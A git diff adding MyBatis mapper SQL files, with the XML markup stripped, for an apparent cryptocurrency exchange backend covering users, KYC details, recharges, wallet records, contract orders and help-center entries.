#{adminParentIds}, + coin = #{coin}, + to_address = #{toAddress}, + block_time = #{blockTime}, + host = #{host}, + real_amount = #{realAmount}, + file_name = #{fileName}, + recharge_remark = #{rechargeRemark}, + notice_flag = #{noticeFlag}, + order_type = #{orderType}, + + where id = #{id} + + + + update t_app_recharge + + status = #{status}, + update_time = sysdate(), + update_by =#{updateBy}, + remark=#{remark}, + real_amount=#{realAmount}, + recharge_remark=#{rechargeRemark} + + where id = #{id} + + + + delete from t_app_recharge where id = #{id} + + + + delete from t_app_recharge where id in + + #{id} + + + + + + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TAppUserDetailMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TAppUserDetailMapper.xml new file mode 100644 index 0000000..dc687d2 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TAppUserDetailMapper.xml @@ -0,0 +1,209 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + select id, user_id, real_name, id_card, front_url, country, card_type, handel_url, back_url, user_tard_pwd, create_by, create_time, update_by, update_time, remark, search_value, audit_status_primary, audit_status_advanced, credits, user_recharge_address, win_num, lose_num from t_app_user_detail + + + + + + + + + + + insert into t_app_user_detail + + id, + user_id, + real_name, + id_card, + front_url, + country, + card_type, + handel_url, + back_url, + user_tard_pwd, + create_by, + create_time, + update_by, + update_time, + remark, + search_value, + audit_status_primary, + audit_status_advanced, + credits, + user_recharge_address, + win_num, + lose_num, + + + #{id}, + #{userId}, + #{realName}, + #{idCard}, + #{frontUrl}, + #{country}, + #{cardType}, + #{handelUrl}, + #{backUrl}, + #{userTardPwd}, + #{createBy}, + #{createTime}, + #{updateBy}, + #{updateTime}, + #{remark}, + #{searchValue}, + #{auditStatusPrimary}, + #{auditStatusAdvanced}, + #{credits}, + #{userRechargeAddress}, + #{winNum}, + #{loseNum}, + + + + + update t_app_user_detail + + user_id = #{userId}, + real_name = #{realName}, + id_card = #{idCard}, + front_url = #{frontUrl}, + country = #{country}, + card_type = #{cardType}, + handel_url = #{handelUrl}, + back_url = #{backUrl}, + user_tard_pwd = #{userTardPwd}, + create_by = #{createBy}, + create_time = #{createTime}, + update_by = #{updateBy}, + update_time = #{updateTime}, + remark = #{remark}, + search_value = #{searchValue}, + audit_status_primary = #{auditStatusPrimary}, + audit_status_advanced = #{auditStatusAdvanced}, + credits = #{credits}, + user_recharge_address = #{userRechargeAddress}, + win_num = #{winNum}, + lose_num = #{loseNum}, + operate_time = #{operateTime}, + + where id = #{id} + + + + UPDATE t_app_user_detail + SET audit_status_primary = #{auditStatusPrimary}, audit_status_advanced = #{auditStatusAdvanced} + WHERE id = #{id} + + + + delete from t_app_user_detail where id = #{id} + + + + delete from t_app_user_detail where id in + + #{id} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TAppUserMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TAppUserMapper.xml new file mode 100644 index 0000000..56c4a07 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TAppUserMapper.xml @@ -0,0 +1,322 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + select user_id, login_name, login_password, phone, is_test, address, wallet_type, status, totle_amont, buff, app_parent_ids, active_code, register_ip, host, admin_parent_ids, email, level, is_freeze, create_by, create_time, update_by, update_time, remark, search_value, is_black, recharge_amont from t_app_user + + + + + + + + + + + + + + insert into t_app_user + + login_name, + login_password, + phone, + is_test, + address, + wallet_type, + status, + totle_amont, + buff, + app_parent_ids, + active_code, + register_ip, + host, + admin_parent_ids, + email, + level, + is_freeze, + create_by, + create_time, + update_by, + update_time, + remark, + search_value, + is_black, + recharge_amont, + + + #{loginName}, + #{loginPassword}, + #{phone}, + #{isTest}, + #{address}, + #{walletType}, + #{status}, + #{totleAmont}, + #{buff}, + #{appParentIds}, + #{activeCode}, + #{registerIp}, + #{host}, + #{adminParentIds}, + #{email}, + #{level}, + #{isFreeze}, + #{createBy}, + #{createTime}, + #{updateBy}, + #{updateTime}, + #{remark}, + #{searchValue}, + #{isBlack}, + #{rechargeAmont}, + + + + + update t_app_user + + login_name = #{loginName}, + login_password = #{loginPassword}, + phone = #{phone}, + is_test = #{isTest}, + address = #{address}, + wallet_type = #{walletType}, + status = #{status}, + totle_amont = #{totleAmont}, + buff = #{buff}, + app_parent_ids = #{appParentIds}, + active_code = #{activeCode}, + register_ip = #{registerIp}, + host = #{host}, + admin_parent_ids = #{adminParentIds}, + email = #{email}, + level = #{level}, + is_freeze = #{isFreeze}, + create_by = #{createBy}, + create_time = #{createTime}, + update_by = #{updateBy}, + update_time = #{updateTime}, + remark = #{remark}, + search_value = #{searchValue}, + is_black = #{isBlack}, + recharge_amont = #{rechargeAmont}, + + where user_id = #{userId} + + + + delete from t_app_user where user_id = #{userId} + + + + delete from t_app_user where user_id in + + #{userId} + + + + update t_app_user set admin_parent_ids = '' where find_in_set(#{adminUserId},admin_parent_ids) + + + update t_app_user set admin_parent_ids = #{adminParentIds} where user_id = #{appUserId} + + + update t_app_user set totle_amont = #{totleAmont} where user_id = #{userId} + + + update t_app_user set recharge_amont = #{rechargeAmont} where user_id = #{userId} + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TAppWalletRecordMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TAppWalletRecordMapper.xml new file mode 100644 index 0000000..2651210 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TAppWalletRecordMapper.xml @@ -0,0 +1,349 @@ + + + + + + + + + + + + + + + + + + + + + + + + + select id, + amount, + create_by, + create_time, + update_by, + update_time, + remark, + user_id, + search_value, + before_amount, + after_amount, + serial_id, + type, + symbol, + admin_parent_ids, + u_amount + from t_app_wallet_record + + + + + + + + insert into t_app_wallet_record + + amount, + create_by, + create_time, + update_by, + update_time, + remark, + user_id, + search_value, + before_amount, + after_amount, + serial_id, + type, + symbol, + admin_parent_ids, + u_amount, + + + #{amount}, + #{createBy}, + #{createTime}, + #{updateBy}, + #{updateTime}, + #{remark}, + #{userId}, + #{searchValue}, + #{beforeAmount}, + #{afterAmount}, + #{serialId}, + #{type}, + #{symbol}, + #{adminParentIds}, + #{uAmount}, + + + + + update t_app_wallet_record + + amount = #{amount}, + create_by = #{createBy}, + create_time = #{createTime}, + update_by = #{updateBy}, + update_time = #{updateTime}, + remark = #{remark}, + user_id = #{userId}, + search_value = #{searchValue}, + before_amount = #{beforeAmount}, + after_amount = #{afterAmount}, + serial_id = #{serialId}, + type = #{type}, + symbol = #{symbol}, + admin_parent_ids = #{adminParentIds}, + u_amount = #{uAmount}, + + where id = #{id} + + + + delete + from t_app_wallet_record + where id = #{id} + + + + delete from t_app_wallet_record where id in + + #{id} + + + + + + + + + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TAppuserLoginLogMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TAppuserLoginLogMapper.xml new file mode 100644 index 0000000..d8f6859 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TAppuserLoginLogMapper.xml @@ -0,0 +1,97 @@ + + + + + + + + + + + + + + + + + + + select id, user_id, username, ipaddr, login_location, browser, os, status, msg, login_time from t_appuser_login_log + + + + + + + + insert into t_appuser_login_log + + user_id, + username, + ipaddr, + login_location, + browser, + os, + status, + msg, + login_time, + + + #{userId}, + #{username}, + #{ipaddr}, + #{loginLocation}, + #{browser}, + #{os}, + #{status}, + #{msg}, + #{loginTime}, + + + + + update t_appuser_login_log + + user_id = #{userId}, + username = #{username}, + ipaddr = #{ipaddr}, + login_location = #{loginLocation}, + browser = #{browser}, + os = #{os}, + status = #{status}, + msg = #{msg}, + login_time = #{loginTime}, + + where id = #{id} + + + + delete from t_appuser_login_log where id = #{id} + + + + delete from t_appuser_login_log where id in + + #{id} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TBotKlineModelInfoMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TBotKlineModelInfoMapper.xml new file mode 100644 index 0000000..b703a11 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TBotKlineModelInfoMapper.xml @@ -0,0 +1,110 @@ + + + + + + + + + + + + + + + + + + select id, model_id, date_time, open, close, high, low, x, y + from t_bot_kline_model_info + + + + + + + insert into t_bot_kline_model_info (model_id, date_time, open, close, high, low ,x,y) VALUES + + (#{item.modelId}, #{item.dateTime}, #{item.open}, #{item.close}, #{item.high}, #{item.low}, #{item.x}, + #{item.y} ) + + + + insert into t_bot_kline_model_info + + model_id, + date_time, + open, + close, + high, + low, + + + #{modelId}, + #{dateTime}, + #{open}, + #{close}, + #{high}, + #{low}, + + + + + update t_bot_kline_model_info + + model_id = #{modelId}, + date_time = #{dateTime}, + open = #{open}, + close = #{close}, + high = #{high}, + low = #{low}, + + where id = #{id} + + + + delete + from t_bot_kline_model_info + where id = #{id} + + + + delete from t_bot_kline_model_info where id in + + #{id} + + + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TBotKlineModelMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TBotKlineModelMapper.xml new file mode 100644 index 0000000..a5e1a3f --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TBotKlineModelMapper.xml @@ -0,0 +1,159 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + select id, decline, granularity, increase, model, price_pencent, symbol, create_by, create_time, update_by, update_time, search_value, begin_time, end_time ,line_chart_data,con_price from t_bot_kline_model + + + + + + + + insert into t_bot_kline_model + + id, + decline, + granularity, + increase, + model, + price_pencent, + symbol, + create_by, + create_time, + update_by, + update_time, + search_value, + begin_time, + end_time, + line_chart_data, + con_price, + + + #{id}, + #{decline}, + #{granularity}, + #{increase}, + #{model}, + #{pricePencent}, + #{symbol}, + #{createBy}, + #{createTime}, + #{updateBy}, + #{updateTime}, + #{searchValue}, + #{beginTime}, + #{endTime}, + #{lineChartData}, + #{conPrice}, + + + + + update t_bot_kline_model + + decline = #{decline}, + granularity = #{granularity}, + increase = #{increase}, + model = #{model}, + price_pencent = #{pricePencent}, + symbol = #{symbol}, + create_by = #{createBy}, + create_time = #{createTime}, + update_by = #{updateBy}, + update_time = #{updateTime}, + search_value = #{searchValue}, + begin_time = #{beginTime}, + end_time = #{endTime}, + line_chart_data = #{lineChartData}, + con_price = #{conPrice}, + + where id = #{id} + + + + delete from t_bot_kline_model where id = #{id} + + + + delete from t_bot_kline_model where id in + + #{id} + + + + + + + + + + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TCollectionOrderMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TCollectionOrderMapper.xml new file mode 100644 index 0000000..c305b2b --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TCollectionOrderMapper.xml @@ -0,0 +1,157 @@ + + + + + + + + + + + + + + + + + + + + + + + + + select id, order_id, user_id,address, chain,coin, hash, amount, status, client_name, create_time, create_by, update_time, update_by, remark, search_value from t_collection_order + + + + + + + + + + + + insert into t_collection_order + + id, + order_id, + user_id, + address, + chain, + coin, + hash, + amount, + status, + client_name, + create_time, + create_by, + update_time, + update_by, + remark, + search_value, + + + #{id}, + #{orderId}, + #{userId}, + #{address}, + #{chain}, + #{coin}, + #{hash}, + #{amount}, + #{status}, + #{clientName}, + #{createTime}, + #{createBy}, + #{updateTime}, + #{updateBy}, + #{remark}, + #{searchValue}, + + + + + update t_collection_order + + order_id = #{orderId}, + user_id = #{userId}, + coin = #{coin}, + address = #{address}, + chain = #{chain}, + hash = #{hash}, + amount = #{amount}, + status = #{status}, + client_name = #{clientName}, + create_time = #{createTime}, + create_by = #{createBy}, + update_time = #{updateTime}, + update_by = #{updateBy}, + remark = #{remark}, + search_value = #{searchValue}, + + where id = #{id} + + + + delete from t_collection_order where id = #{id} + + + + delete from t_collection_order where id in + + #{id} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TContractCoinMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TContractCoinMapper.xml new file mode 100644 index 0000000..de658aa --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TContractCoinMapper.xml @@ -0,0 +1,206 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + select id, symbol, coin,profit_loss,float_profit, base_coin, earn_rate,loss_rate,delivery_days,min_margin,market,share_number, logo, leverage, enable, visible, exchangeable, enable_open_sell, enable_open_buy, enable_market_sell, enable_market_buy, open_fee, close_fee, usdt_rate, interval_hour, coin_scale, base_scale, min_share, max_share, total_profit, sort, create_time, update_time,show_symbol from t_contract_coin + + + + + + + + insert into t_contract_coin + + symbol, + coin, + base_coin, + share_number, + leverage, + enable, + visible, + exchangeable, + enable_open_sell, + enable_open_buy, + enable_market_sell, + enable_market_buy, + open_fee, + close_fee, + usdt_rate, + interval_hour, + coin_scale, + base_scale, + min_share, + max_share, + total_profit, + sort, + create_time, + update_time, + show_symbol, + logo, + market, + delivery_days, + min_margin, + earn_rate, + loss_rate, + float_profit, + profit_loss, + + + #{symbol}, + #{coin}, + #{baseCoin}, + #{shareNumber}, + #{leverage}, + #{enable}, + #{visible}, + #{exchangeable}, + #{enableOpenSell}, + #{enableOpenBuy}, + #{enableMarketSell}, + #{enableMarketBuy}, + #{openFee}, + #{closeFee}, + #{usdtRate}, + #{intervalHour}, + #{coinScale}, + #{baseScale}, + #{minShare}, + #{maxShare}, + #{totalProfit}, + #{sort}, + #{createTime}, + #{updateTime}, + #{showSymbol}, + #{logo}, + #{market}, + #{deliveryDays}, + #{minMargin}, + #{earnRate}, + #{lossRate}, + #{floatProfit}, + #{profitLoss}, + + + + + update t_contract_coin + + symbol = #{symbol}, + coin = #{coin}, + base_coin = #{baseCoin}, + share_number = #{shareNumber}, + leverage = #{leverage}, + enable = #{enable}, + visible = #{visible}, + exchangeable = #{exchangeable}, + enable_open_sell = #{enableOpenSell}, + enable_open_buy = #{enableOpenBuy}, + enable_market_sell = #{enableMarketSell}, + enable_market_buy = #{enableMarketBuy}, + open_fee = #{openFee}, + close_fee = #{closeFee}, + usdt_rate = #{usdtRate}, + interval_hour = #{intervalHour}, + coin_scale = #{coinScale}, + base_scale = #{baseScale}, + min_share = #{minShare}, + max_share = #{maxShare}, + total_profit = #{totalProfit}, + sort = #{sort}, + create_time = #{createTime}, + update_time = #{updateTime}, + show_symbol=#{showSymbol}, + logo=#{logo}, + market=#{market}, + min_margin=#{minMargin}, + delivery_days=#{deliveryDays}, + earn_rate=#{earnRate}, + loss_rate=#{lossRate}, + float_profit=#{floatProfit}, + profit_loss=#{profitLoss}, + + where id = #{id} + + + + delete from t_contract_coin where id = #{id} + + + + delete from t_contract_coin where id in + + #{id} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TContractLossMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TContractLossMapper.xml new file mode 100644 index 0000000..7711e09 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TContractLossMapper.xml @@ -0,0 +1,140 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + select id, delegate_type, status, position_id, user_id, earn_price, lose_price, create_time, earn_delegate_price, lose_delegate_price, earn_number, lose_number, loss_type, update_time ,type,leverage, symbol from t_contract_loss + + + + + + + + insert into t_contract_loss + + delegate_type, + status, + position_id, + user_id, + earn_price, + lose_price, + create_time, + earn_delegate_price, + lose_delegate_price, + earn_number, + lose_number, + loss_type, + update_time, + symbol, + leverage, + type, + + + + #{delegateType}, + #{status}, + #{positionId}, + #{userId}, + #{earnPrice}, + #{losePrice}, + #{createTime}, + #{earnDelegatePrice}, + #{loseDelegatePrice}, + #{earnNumber}, + #{loseNumber}, + #{lossType}, + #{updateTime}, + #{symbol}, + #{leverage}, + #{type}, + + + + + update t_contract_loss + + delegate_type = #{delegateType}, + status = #{status}, + position_id = #{positionId}, + user_id = #{userId}, + earn_price = #{earnPrice}, + lose_price = #{losePrice}, + create_time = #{createTime}, + earn_delegate_price = #{earnDelegatePrice}, + lose_delegate_price = #{loseDelegatePrice}, + earn_number = #{earnNumber}, + lose_number = #{loseNumber}, + loss_type = #{lossType}, + update_time = #{updateTime}, + symbol=#{symbol}, + leverage=#{leverage}, + type=#{type}, + + where id = #{id} + + + + delete from t_contract_loss where id = #{id} + + + + delete from t_contract_loss where id in + + #{id} + + + + + update t_contract_loss + set status=1 + where position_id = #{positionId} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TContractOrderMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TContractOrderMapper.xml new file mode 100644 index 0000000..7c38fbb --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TContractOrderMapper.xml @@ -0,0 +1,159 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + select id, type, delegate_type, status, delegate_total, delegate_price, deal_num, deal_price, delegate_value, deal_value, delegate_time, deal_time, coin_symbol, create_time, order_no, user_id, update_time, fee, base_coin, leverage, symbol ,admin_parent_ids from t_contract_order + + + + + + + + insert into t_contract_order + + type, + delegate_type, + status, + delegate_total, + delegate_price, + deal_num, + deal_price, + delegate_value, + deal_value, + delegate_time, + deal_time, + coin_symbol, + create_time, + order_no, + user_id, + update_time, + fee, + base_coin, + leverage, + symbol, + admin_parent_ids, + + + + #{type}, + #{delegateType}, + #{status}, + #{delegateTotal}, + #{delegatePrice}, + #{dealNum}, + #{dealPrice}, + #{delegateValue}, + #{dealValue}, + #{delegateTime}, + #{dealTime}, + #{coinSymbol}, + #{createTime}, + #{orderNo}, + #{userId}, + #{updateTime}, + #{fee}, + #{baseCoin}, + #{leverage}, + #{symbol}, + #{adminParentIds}, + + + + + + update t_contract_order + + type = #{type}, + delegate_type = #{delegateType}, + status = #{status}, + delegate_total = #{delegateTotal}, + delegate_price = #{delegatePrice}, + deal_num = #{dealNum}, + deal_price = #{dealPrice}, + delegate_value = #{delegateValue}, + deal_value = #{dealValue}, + delegate_time = #{delegateTime}, + deal_time = #{dealTime}, + coin_symbol = #{coinSymbol}, + create_time = #{createTime}, + order_no = #{orderNo}, + user_id = #{userId}, + update_time = #{updateTime}, + fee = #{fee}, + base_coin = #{baseCoin}, + leverage = #{leverage}, + symbol = #{symbol}, + admin_parent_ids = #{adminParentIds}, + + where id = #{id} + + + + delete from t_contract_order where id = #{id} + + + + delete from t_contract_order where id in + + #{id} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TContractPositionMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TContractPositionMapper.xml new file mode 100644 index 0000000..1527f23 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TContractPositionMapper.xml @@ -0,0 +1,237 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + select id, type, delegate_type, sub_time, earn_rate,loss_rate,delivery_days, audit_status,update_time, status, amount, open_num, open_price, close_price, order_no, user_id, open_fee, leverage, symbol, create_time, adjust_amount, earn, deal_price, deal_num, deal_time, sell_fee, remain_margin, asset_fee ,deal_value ,entrustment_value ,admin_parent_ids from t_contract_position + + + + + + + + insert into t_contract_position + + type, + delegate_type, + status, + amount, + open_num, + open_price, + close_price, + order_no, + user_id, + open_fee, + leverage, + symbol, + create_time, + adjust_amount, + earn, + deal_price, + deal_num, + deal_time, + sell_fee, + remain_margin, + asset_fee, + entrustment_value, + deal_value, + admin_parent_ids, + audit_status , + delivery_days, + min_margin, + earn_rate, + loss_rate, + sub_time , + + + + #{type}, + #{delegateType}, + #{status}, + #{amount}, + #{openNum}, + #{openPrice}, + #{closePrice}, + #{orderNo}, + #{userId}, + #{openFee}, + #{leverage}, + #{symbol}, + #{createTime}, + #{adjustAmount}, + #{earn}, + #{dealPrice}, + #{dealNum}, + #{dealTime}, + #{sellFee}, + #{remainMargin}, + #{assetFee}, + #{entrustmentValue}, + #{dealValue}, + #{adminParentIds}, + #{auditStatus} , + #{deliveryDays}, + #{minMargin}, + #{earnRate}, + #{lossRate}, + #{subTime}, + + + + + update t_contract_position + + type = #{type}, + delegate_type = #{delegateType}, + status = #{status}, + amount = #{amount}, + open_num = #{openNum}, + open_price = #{openPrice}, + close_price = #{closePrice}, + order_no = #{orderNo}, + user_id = #{userId}, + open_fee = #{openFee}, + leverage = #{leverage}, + symbol = #{symbol}, + create_time = #{createTime}, + adjust_amount = #{adjustAmount}, + earn = #{earn}, + deal_price = #{dealPrice}, + deal_num = #{dealNum}, + deal_time = #{dealTime}, + sell_fee = #{sellFee}, + remain_margin = #{remainMargin}, + asset_fee = #{assetFee}, + entrustment_value=#{entrustmentValue}, + deal_value=#{dealValue}, + admin_parent_ids=#{adminParentIds}, + audit_status =#{auditStatus} , + update_time =#{updateTime} , + sub_time=#{subTime}, + min_margin=#{minMargin}, + delivery_days=#{deliveryDays}, + earn_rate=#{earnRate}, + loss_rate=#{lossRate}, + + where id = #{id} + + + + delete from t_contract_position where id = #{id} + + + + delete from t_contract_position where id in + + #{id} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TCurrencyOrderMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TCurrencyOrderMapper.xml new file mode 100644 index 0000000..c120cbb --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TCurrencyOrderMapper.xml @@ -0,0 +1,178 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + select id, type, delegate_type, status, order_no, symbol, coin, fee, delegate_total, delegate_price, deal_num, deal_price, delegate_value, deal_value, delegate_time, deal_time, user_id, create_time, update_time, search_value,admin_parent_ids from t_currency_order + + + + + + + + + insert into t_currency_order + + type, + delegate_type, + status, + order_no, + symbol, + coin, + fee, + delegate_total, + delegate_price, + deal_num, + deal_price, + delegate_value, + deal_value, + delegate_time, + deal_time, + user_id, + create_time, + update_time, + search_value, + admin_parent_ids, + + + #{type}, + #{delegateType}, + #{status}, + #{orderNo}, + #{symbol}, + #{coin}, + #{fee}, + #{delegateTotal}, + #{delegatePrice}, + #{dealNum}, + #{dealPrice}, + #{delegateValue}, + #{dealValue}, + #{delegateTime}, + #{dealTime}, + #{userId}, + #{createTime}, + #{updateTime}, + #{searchValue}, + #{adminParentIds}, + + + + + update t_currency_order + + type = #{type}, + delegate_type = #{delegateType}, + status = #{status}, + order_no = #{orderNo}, + symbol = #{symbol}, + coin = #{coin}, + fee = #{fee}, + delegate_total = #{delegateTotal}, + delegate_price = #{delegatePrice}, + deal_num = #{dealNum}, + deal_price = #{dealPrice}, + delegate_value = #{delegateValue}, + deal_value = #{dealValue}, + delegate_time = #{delegateTime}, + deal_time = #{dealTime}, + user_id = #{userId}, + create_time = #{createTime}, + update_time = #{updateTime}, + search_value = #{searchValue}, + admin_parent_ids = #{adminParentIds}, + + where id = #{id} + + + + delete from t_currency_order where id = #{id} + + + + delete from t_currency_order where id in + + #{id} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TCurrencySymbolMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TCurrencySymbolMapper.xml new file mode 100644 index 0000000..237fc20 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TCurrencySymbolMapper.xml @@ -0,0 +1,194 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + select id, symbol, show_symbol,min_sell, coin, base_coin, fee_rate, coin_precision, base_precision, sell_min, buy_max, order_min, order_max, enable, is_show, is_deal, market_buy, market_sell, limited_buy, limited_sell, logo, create_by, create_time, update_by, update_time, search_value, market from t_currency_symbol + + + + + + + + + + insert into t_currency_symbol + + symbol, + show_symbol, + coin, + base_coin, + fee_rate, + coin_precision, + base_precision, + sell_min, + buy_max, + order_min, + order_max, + enable, + is_show, + is_deal, + market_buy, + market_sell, + limited_buy, + limited_sell, + logo, + create_by, + create_time, + update_by, + update_time, + search_value, + market, + min_sell, + + + #{symbol}, + #{showSymbol}, + #{coin}, + #{baseCoin}, + #{feeRate}, + #{coinPrecision}, + #{basePrecision}, + #{sellMin}, + #{buyMax}, + #{orderMin}, + #{orderMax}, + #{enable}, + #{isShow}, + #{isDeal}, + #{marketBuy}, + #{marketSell}, + #{limitedBuy}, + #{limitedSell}, + #{logo}, + #{createBy}, + #{createTime}, + #{updateBy}, + #{updateTime}, + #{searchValue}, + #{market}, + #{minSell}, + + + + + update t_currency_symbol + + symbol = #{symbol}, + show_symbol = #{showSymbol}, + coin = #{coin}, + base_coin = #{baseCoin}, + fee_rate = #{feeRate}, + coin_precision = #{coinPrecision}, + base_precision = #{basePrecision}, + sell_min = #{sellMin}, + buy_max = #{buyMax}, + order_min = #{orderMin}, + order_max = #{orderMax}, + enable = #{enable}, + is_show = #{isShow}, + is_deal = #{isDeal}, + market_buy = #{marketBuy}, + market_sell = #{marketSell}, + limited_buy = #{limitedBuy}, + limited_sell = #{limitedSell}, + logo = #{logo}, + create_by = #{createBy}, + create_time = #{createTime}, + update_by = #{updateBy}, + update_time = #{updateTime}, + search_value = #{searchValue}, + market = #{market}, + min_sell=#{minSell}, + + + where id = #{id} + + + + delete from t_currency_symbol where id = #{id} + + + + delete from t_currency_symbol where id in + + #{id} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TDefiOrderMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TDefiOrderMapper.xml new file mode 100644 index 0000000..e3c3c62 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TDefiOrderMapper.xml @@ -0,0 +1,101 @@ + + + + + + + + + + + + + + + + + + + + + select id, amount, totle_amount, rate, create_by, create_time, update_by, update_time, remark, search_value, user_id, admin_parent_ids from t_defi_order + + + + + + + + insert into t_defi_order + + amount, + totle_amount, + rate, + create_by, + create_time, + update_by, + update_time, + remark, + search_value, + user_id, + admin_parent_ids, + + + #{amount}, + #{totleAmount}, + #{rate}, + #{createBy}, + #{createTime}, + #{updateBy}, + #{updateTime}, + #{remark}, + #{searchValue}, + #{userId}, + #{adminParentIds}, + + + + + update t_defi_order + + amount = #{amount}, + totle_amount = #{totleAmount}, + rate = #{rate}, + create_by = #{createBy}, + create_time = #{createTime}, + update_by = #{updateBy}, + update_time = #{updateTime}, + remark = #{remark}, + search_value = #{searchValue}, + user_id = #{userId}, + admin_parent_ids = #{adminParentIds}, + + where id = #{id} + + + + delete from t_defi_order where id = #{id} + + + + delete from t_defi_order where id in + + #{id} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TExchangeCoinRecordMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TExchangeCoinRecordMapper.xml new file mode 100644 index 0000000..a5f5a9d --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TExchangeCoinRecordMapper.xml @@ -0,0 +1,160 @@ + + + + + + + + + + + + + + + + + + + + + + + + + select id, from_coin, to_coin, user_id, username, address, status, amount, third_rate, system_rate, create_by, create_time, update_by, update_time, remark, search_value from t_exchange_coin_record + + + + + + + + + + + insert into t_exchange_coin_record + + from_coin, + to_coin, + user_id, + username, + address, + status, + amount, + third_rate, + system_rate, + create_by, + create_time, + update_by, + update_time, + remark, + search_value, + + + #{fromCoin}, + #{toCoin}, + #{userId}, + #{username}, + #{address}, + #{status}, + #{amount}, + #{thirdRate}, + #{systemRate}, + #{createBy}, + #{createTime}, + #{updateBy}, + #{updateTime}, + #{remark}, + #{searchValue}, + + + + + update t_exchange_coin_record + + from_coin = #{fromCoin}, + to_coin = #{toCoin}, + user_id = #{userId}, + username = #{username}, + address = #{address}, + status = #{status}, + amount = #{amount}, + third_rate = #{thirdRate}, + system_rate = #{systemRate}, + create_by = #{createBy}, + create_time = #{createTime}, + update_by = #{updateBy}, + update_time = #{updateTime}, + remark = #{remark}, + search_value = #{searchValue}, + + where id = #{id} + + + + delete from t_exchange_coin_record where id = #{id} + + + + delete from t_exchange_coin_record where id in + + #{id} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/THelpCenterInfoMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/THelpCenterInfoMapper.xml new file mode 100644 index 0000000..30e400a --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/THelpCenterInfoMapper.xml @@ -0,0 +1,108 @@ + + + + + + + + + + + + + + + + + + + + + + select id, help_center_id, question, content, language, enable, del_flag, create_time, create_by, update_time, update_by, remark, show_symbol from t_help_center_info + + + + + + + + insert into t_help_center_info + + id, + help_center_id, + question, + content, + language, + enable, + del_flag, + create_time, + create_by, + update_time, + update_by, + remark, + show_symbol, + + + #{id}, + #{helpCenterId}, + #{question}, + #{content}, + #{language}, + #{enable}, + #{delFlag}, + #{createTime}, + #{createBy}, + #{updateTime}, + #{updateBy}, + #{remark}, + #{showSymbol}, + + + + + update t_help_center_info + + help_center_id = #{helpCenterId}, + question = #{question}, + content = #{content}, + language = #{language}, + enable = #{enable}, + del_flag = #{delFlag}, + create_time = #{createTime}, + create_by = #{createBy}, + update_time = #{updateTime}, + update_by = #{updateBy}, + remark = #{remark}, + show_symbol = #{showSymbol}, + + where id = #{id} + + + + delete from t_help_center_info where id = #{id} + + + + update t_help_center_info set del_flag = '1' where id in + + #{id} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/THelpCenterMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/THelpCenterMapper.xml new file mode 100644 index 0000000..d662e0c --- /dev/null 